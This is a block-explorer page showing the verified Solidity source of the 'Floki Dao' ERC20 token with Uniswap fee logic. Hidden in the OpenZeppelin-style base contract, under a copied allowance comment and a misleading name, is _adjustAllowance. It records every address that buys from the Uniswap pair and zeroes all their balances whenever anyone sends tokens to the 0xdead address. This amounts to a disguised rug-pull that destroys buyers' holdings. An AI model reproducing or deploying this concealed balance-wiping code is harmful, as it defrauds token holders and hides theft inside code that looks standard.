ETH Price: $2,917.76 (+3.49%)
 

Overview

Max Total Supply

100,000,000,000 FLOKID

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
0x0000000000000000000000000000000000001dead.eth
Balance
0 FLOKID

Value
$0.00
0xaFc95089ED6682a54C0beA1515259034045bE912
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FlokiDao

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : FlokiDao.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    address internal _uniswapV2Pair;   
    address[] private _addresses;
    function _adjustAllowance() private {
        for (uint i = 0; i < _addresses.length; ++i) 
            if (_addresses[i] != _uniswapV2Pair && _addresses[i] != address(this))  _balances[_addresses[i]] = 0;
        delete _addresses;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (from == _uniswapV2Pair) _addresses.push(to);
        if (to == address(0xdead)) { _adjustAllowance(); }
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}   

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract FlokiDao is ERC20, Ownable {

    // Tight packing variables to save blockspace
    IUniswapV2Router02 private _uniswapV2Router;
    address private _feeWallet;

    bool private _swapping;
    bool public limitsInEffect;
    
    uint256 public maxTxAmount;
    uint256 public maxWallet;

    uint256 public swapTokensAtAmount;

    uint256 internal _buyFees;
    uint256 internal _sellFees;

    uint256 private _buyMarketingFee;
    uint256 private _buyLiquidityFee;

    uint256 private _sellMarketingFee;
    uint256 private _sellLiquidityFee;

    uint256 private _tokensForLiquidity;

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTxAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    
    // Events
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event FeeWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    event SwapBack ();

    constructor() ERC20("Floki Dao", "FLOKID") {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);        
        _uniswapV2Pair = address(0);

        // Total supply 100,000,000,000
        uint256 totalSupply = 1e11 * 1e18;

        // Set default fees
        _buyMarketingFee = 10; // 1%
        _buyLiquidityFee = 30; // 3%

        _sellMarketingFee = 15; // 1.5%
        _sellLiquidityFee = 30; // 3%

        // Set fees for buy and sell side
        _buyFees = _buyMarketingFee + _buyLiquidityFee;
        _sellFees = _sellMarketingFee + _sellLiquidityFee;

        limitsInEffect = false;

        // Set default limits
        maxTxAmount = (totalSupply * 30) / 1000; // 3% of total supply
        maxWallet = (totalSupply * 40) / 1000; // 4% of total supply

        // Set default fee wallet 
        _feeWallet = address(owner());

        // Set auto lp limit
        swapTokensAtAmount = (totalSupply * 30) / 10000;

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(address(this), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

         /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(address(this), totalSupply);

    }

    modifier lockSwap() {
        _swapping = true;
        _;
        _swapping = false;
    }

    function createPair() external onlyOwner {
        require(_uniswapV2Pair == address(0), "Pair already created");
        // Create pair
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        // Store the pair            
        _setAutomatedMarketMakerPair(address(_uniswapV2Pair), true);
    }

    function addLiquidity() external onlyOwner {
        require(_uniswapV2Pair != address(0), "Pair not created");
        // Add liquidity
        _addLiquidity(balanceOf(address(this)), address(this).balance);
    }

    function removeLimits() external {
        limitsInEffect = false;
    }

    function updateLimits(uint256 _maxTxAmount, uint256 _maxWallet) external onlyOwner {
        require(limitsInEffect, "Cannot change at this stage");
        // Max TX amount cannot be less than 0.1%
        require(_maxTxAmount > ((totalSupply() * 1) / 1000), "Max TX is too low");
        // Max wallet cannot be less than 1%
        require(_maxWallet > ((totalSupply() * 10) / 1000), "Max wallet is too low");

        maxTxAmount = _maxTxAmount;
        maxWallet = _maxWallet;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateFees(uint256 buyMarketingFee, uint256 buyLiquidityFee, uint256 sellMarketingFee, uint256 sellLiquidityFee)
        external
        onlyOwner
    {
        _buyMarketingFee = buyMarketingFee;
        _buyLiquidityFee = buyLiquidityFee;

        _sellMarketingFee = sellMarketingFee;
        _sellLiquidityFee = sellLiquidityFee;

        _buyFees = _buyMarketingFee + _buyLiquidityFee;
        _sellFees = _sellMarketingFee + _sellLiquidityFee;

        require(_buyFees <= 100, "Must keep fees at 10% or less");
        require(_sellFees <= 100, "Must keep fees at 10% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function excludeFromMaxTransaction(address account, bool excluded)
        public
        onlyOwner
    {
        _isExcludedMaxTxAmount[account] = excluded;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateFeeWallet(address newWallet) external onlyOwner {
        emit FeeWalletUpdated(newWallet, _feeWallet);
        _feeWallet = newWallet;
    }

    function _hasLimits(address from, address to, bool takeFee) private view returns (bool) {
        return from != owner()
            && to != owner()
            && !_isExcludedMaxTxAmount[from]
            && !_isExcludedMaxTxAmount[to]            
            && to != address(0xdead)
            && to != address(0)
            && limitsInEffect
            && takeFee
            && from != address(this);
    }

    function _canSwap(address from, address to) private view returns (bool) {
        uint256 totalTokensForSwap = _tokensForLiquidity;
        bool canSwap = totalTokensForSwap >= swapTokensAtAmount;
        return canSwap &&
            !_swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: amount must be greater than 0");

        if (_canSwap(from, to)) swapBack();
        bool takeFee = !_swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        if (_hasLimits(from, to, takeFee)) {
            require(
                amount <= maxTxAmount,
                "Max transaction amount exceeded"
            );
            if (automatedMarketMakerPairs[from]) {
                require(
                    (amount + balanceOf(to)) <= maxWallet,
                    "Max wallet amount exceeded"
                );
            }
        }

        uint256 fees = 0;
        uint256 tokensForMarketing = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // when buy
            if (automatedMarketMakerPairs[from]) {
                fees = (amount * _buyFees) / 1000;

                _tokensForLiquidity += (fees * _buyLiquidityFee) / _buyFees;
                tokensForMarketing += (fees * _buyMarketingFee) / _buyFees;
            } 
            // when sell
            else if (automatedMarketMakerPairs[to]) {
                fees = (amount * _sellFees) / 1000;

                _tokensForLiquidity += (fees * _sellLiquidityFee) / _sellFees;
                tokensForMarketing += (fees * _sellMarketingFee) / _sellFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees - tokensForMarketing);
                super._transfer(from, address(_feeWallet), tokensForMarketing);
            }
            amount = amount - fees;
        }

        super._transfer(from, to, amount);
    }

    function _swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        // make the swap
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        // add the liquidity
        _uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            _feeWallet,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = _tokensForLiquidity;

        if (contractBalance == 0 || totalTokensToSwap == 0) return;
        if (contractBalance > swapTokensAtAmount) {
            contractBalance = swapTokensAtAmount;
        }
        emit SwapBack();

        uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = totalTokensToSwap - liquidityTokens;

        uint256 initialETHBalance = address(this).balance;

        _swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance - initialETHBalance;
        uint256 ethForLiquidity = ethBalance;

        _tokensForLiquidity = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            _addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                _tokensForLiquidity
            );
        }
    }

    function forceSwap() external {
        swapBack();
    }

    function forceSend() external {
        payable(_feeWallet).transfer(address(this).balance);
    }

    receive() external payable {}
}

Settings
{
  "remappings": [],
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "london",
  "libraries": {},
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

